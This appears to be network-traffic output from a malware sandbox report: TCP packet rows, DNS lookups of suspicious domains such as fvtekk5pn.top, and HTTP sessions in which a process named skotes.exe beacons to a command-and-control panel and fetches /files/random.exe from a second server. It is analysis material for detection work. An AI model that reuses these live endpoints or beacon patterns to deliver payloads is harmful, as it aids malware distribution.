Nov 23, 2024 11:22:26.463752985 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.463799953 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.464637995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.464662075 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.464679003 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.464724064 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.465607882 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.465624094 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.465640068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.465657949 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.466491938 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.466520071 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.466543913 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.466566086 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.466608047 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.467406988 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.467453957 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.467458963 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.467472076 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.468365908 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.468409061 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.468420029 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.468427896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.468450069 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.469322920 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.469347954 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.469363928 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.469398022 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.469429016 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.470247984 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.470295906 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.470312119 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.470347881 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.471225977 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.471268892 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.471287012 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.471402884 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.472084999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.472132921 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.472134113 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.472157955 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.472177982 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.473088026 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.473104000 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.473120928 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.473156929 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.473186970 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.473978043 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.474026918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.474042892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.474077940 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.474893093 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.474941969 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.474986076 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.475002050 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.475909948 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.475925922 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.475939989 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.475994110 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.476023912 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.476768017 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.476821899 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.476838112 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.476869106 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.476887941 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.477684975 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.477741957 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.477757931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.477790117 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.478655100 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.478677988 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.478693008 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.478702068 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.478758097 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.479541063 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.479587078 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.479602098 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.479636908 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.480500937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.480540037 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.480556011 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.480618000 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.481451035 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.481484890 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.481501102 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.481544971 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.482386112 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.482409954 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.482425928 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.482434988 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.482470036 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.483280897 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.483563900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.483618021 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.483633995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.483644009 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.483671904 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.483716011 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.483716965 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.484483004 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:26.484579086 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.484615088 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.484631062 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.484668970 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.485455990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.485496998 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.485507011 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.485512018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.486417055 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.486457109 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.486466885 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.486473083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.486496925 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.487337112 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.487389088 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.487405062 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.487409115 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.487447023 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.488367081 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.488399029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.488415003 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.488447905 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.489224911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.489239931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.489257097 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.489273071 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.489300013 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.490118980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.490209103 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.490262032 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.491741896 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:26.491741896 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:26.491772890 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.491785049 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.494812965 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:26.494833946 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.494904995 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:26.499767065 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:26.499778986 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.502113104 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.502152920 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.502167940 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.502213955 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.502531052 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.502579927 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.502588987 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.502604961 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.503487110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.503509998 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.503525019 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.503535032 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.503568888 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.504393101 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.504430056 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.504441977 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.504446983 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.505551100 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.505558014 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.505616903 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:26.505806923 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:26.544111013 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.544174910 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:26.544229984 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:26.544378042 CET	49800	443	192.168.2.4	13.107.246.63

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 11:22:18.962325096 CET	192.168.2.4	1.1.1.1	0xbc1b	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:18.962449074 CET	192.168.2.4	1.1.1.1	0x5c53	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 11:22:28.718465090 CET	192.168.2.4	1.1.1.1	0x9aaa	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:45.051918983 CET	192.168.2.4	1.1.1.1	0x7d30	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:45.052001953 CET	192.168.2.4	1.1.1.1	0x50d0	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 11:22:47.624545097 CET	192.168.2.4	1.1.1.1	0x4153	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:47.624775887 CET	192.168.2.4	1.1.1.1	0xe072	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 11:22:48.379949093 CET	192.168.2.4	1.1.1.1	0xaa9f	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:48.380021095 CET	192.168.2.4	1.1.1.1	0x86c1	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 23, 2024 11:22:51.155229092 CET	192.168.2.4	1.1.1.1	0x49f0	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:51.298100948 CET	192.168.2.4	1.1.1.1	0xcdc2	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 11:22:51.960566044 CET	192.168.2.4	1.1.1.1	0x1344	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:51.960702896 CET	192.168.2.4	1.1.1.1	0xe093	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 11:22:56.026009083 CET	192.168.2.4	1.1.1.1	0x2882	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:56.036468029 CET	192.168.2.4	1.1.1.1	0x8dcd	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:56.166765928 CET	192.168.2.4	1.1.1.1	0x9710	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:56.175415993 CET	192.168.2.4	1.1.1.1	0x21a7	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:56.304462910 CET	192.168.2.4	1.1.1.1	0xa81f	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 23, 2024 11:22:56.312983036 CET	192.168.2.4	1.1.1.1	0xbf60	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 23, 2024 11:23:15.368534088 CET	192.168.2.4	1.1.1.1	0xf49f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:23:15.368669987 CET	192.168.2.4	1.1.1.1	0x7277	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 11:23:18.083578110 CET	192.168.2.4	1.1.1.1	0x5b1e	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:23:18.083941936 CET	192.168.2.4	1.1.1.1	0xddae	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 23, 2024 11:23:18.773375988 CET	192.168.2.4	1.1.1.1	0xa075	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:23:18.773375988 CET	192.168.2.4	1.1.1.1	0x5cff	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 11:22:19.101979971 CET	1.1.1.1	192.168.2.4	0xbc1b	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:28.939716101 CET	1.1.1.1	192.168.2.4	0x9aaa	No error (0)	property-imper.sbs		172.67.162.84	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:28.939716101 CET	1.1.1.1	192.168.2.4	0x9aaa	No error (0)	property-imper.sbs		104.21.33.116	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:45.193451881 CET	1.1.1.1	192.168.2.4	0x7d30	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:47.762701988 CET	1.1.1.1	192.168.2.4	0x4153	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:47.764314890 CET	1.1.1.1	192.168.2.4	0xe072	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 11:22:48.525481939 CET	1.1.1.1	192.168.2.4	0xaa9f	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:51.149681091 CET	1.1.1.1	192.168.2.4	0xf467	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:51.295063019 CET	1.1.1.1	192.168.2.4	0x49f0	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:52.100246906 CET	1.1.1.1	192.168.2.4	0xe093	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 11:22:52.100545883 CET	1.1.1.1	192.168.2.4	0x1344	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:56.165419102 CET	1.1.1.1	192.168.2.4	0x2882	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 11:22:56.165419102 CET	1.1.1.1	192.168.2.4	0x2882	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:56.174530029 CET	1.1.1.1	192.168.2.4	0x8dcd	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:56.303565025 CET	1.1.1.1	192.168.2.4	0x9710	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:56.312432051 CET	1.1.1.1	192.168.2.4	0x21a7	No error (0)	youtube.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:22:56.441431999 CET	1.1.1.1	192.168.2.4	0xa81f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 23, 2024 11:22:56.449759960 CET	1.1.1.1	192.168.2.4	0xbf60	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 23, 2024 11:23:15.509298086 CET	1.1.1.1	192.168.2.4	0xf49f	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:23:15.510006905 CET	1.1.1.1	192.168.2.4	0x7277	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 11:23:18.229289055 CET	1.1.1.1	192.168.2.4	0x5b1e	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 11:23:18.229289055 CET	1.1.1.1	192.168.2.4	0x5b1e	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 11:23:18.229289055 CET	1.1.1.1	192.168.2.4	0x5b1e	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 11:23:18.229289055 CET	1.1.1.1	192.168.2.4	0x5b1e	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:23:18.229908943 CET	1.1.1.1	192.168.2.4	0xddae	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 11:23:18.229908943 CET	1.1.1.1	192.168.2.4	0xddae	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 11:23:18.465626001 CET	1.1.1.1	192.168.2.4	0x86b5	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 11:23:18.503443956 CET	1.1.1.1	192.168.2.4	0xa044	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 11:23:18.503443956 CET	1.1.1.1	192.168.2.4	0xa044	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 11:23:18.503443956 CET	1.1.1.1	192.168.2.4	0xa044	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 11:23:18.912524939 CET	1.1.1.1	192.168.2.4	0xa075	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49753	185.215.113.43	80	4192	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:22:04.179801941 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 11:22:05.521003008 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 10:22:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49759	185.215.113.43	80	4192	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:22:07.145895958 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 34 32 41 37 30 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B42A70B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 11:22:08.548861980 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 10:22:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 38 34 31 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 34 31 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 34 31 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 38 34 31 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1008410001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008411001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008412001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008413001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008414001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49765	31.41.244.11	80	4192	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:22:08.673671007 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
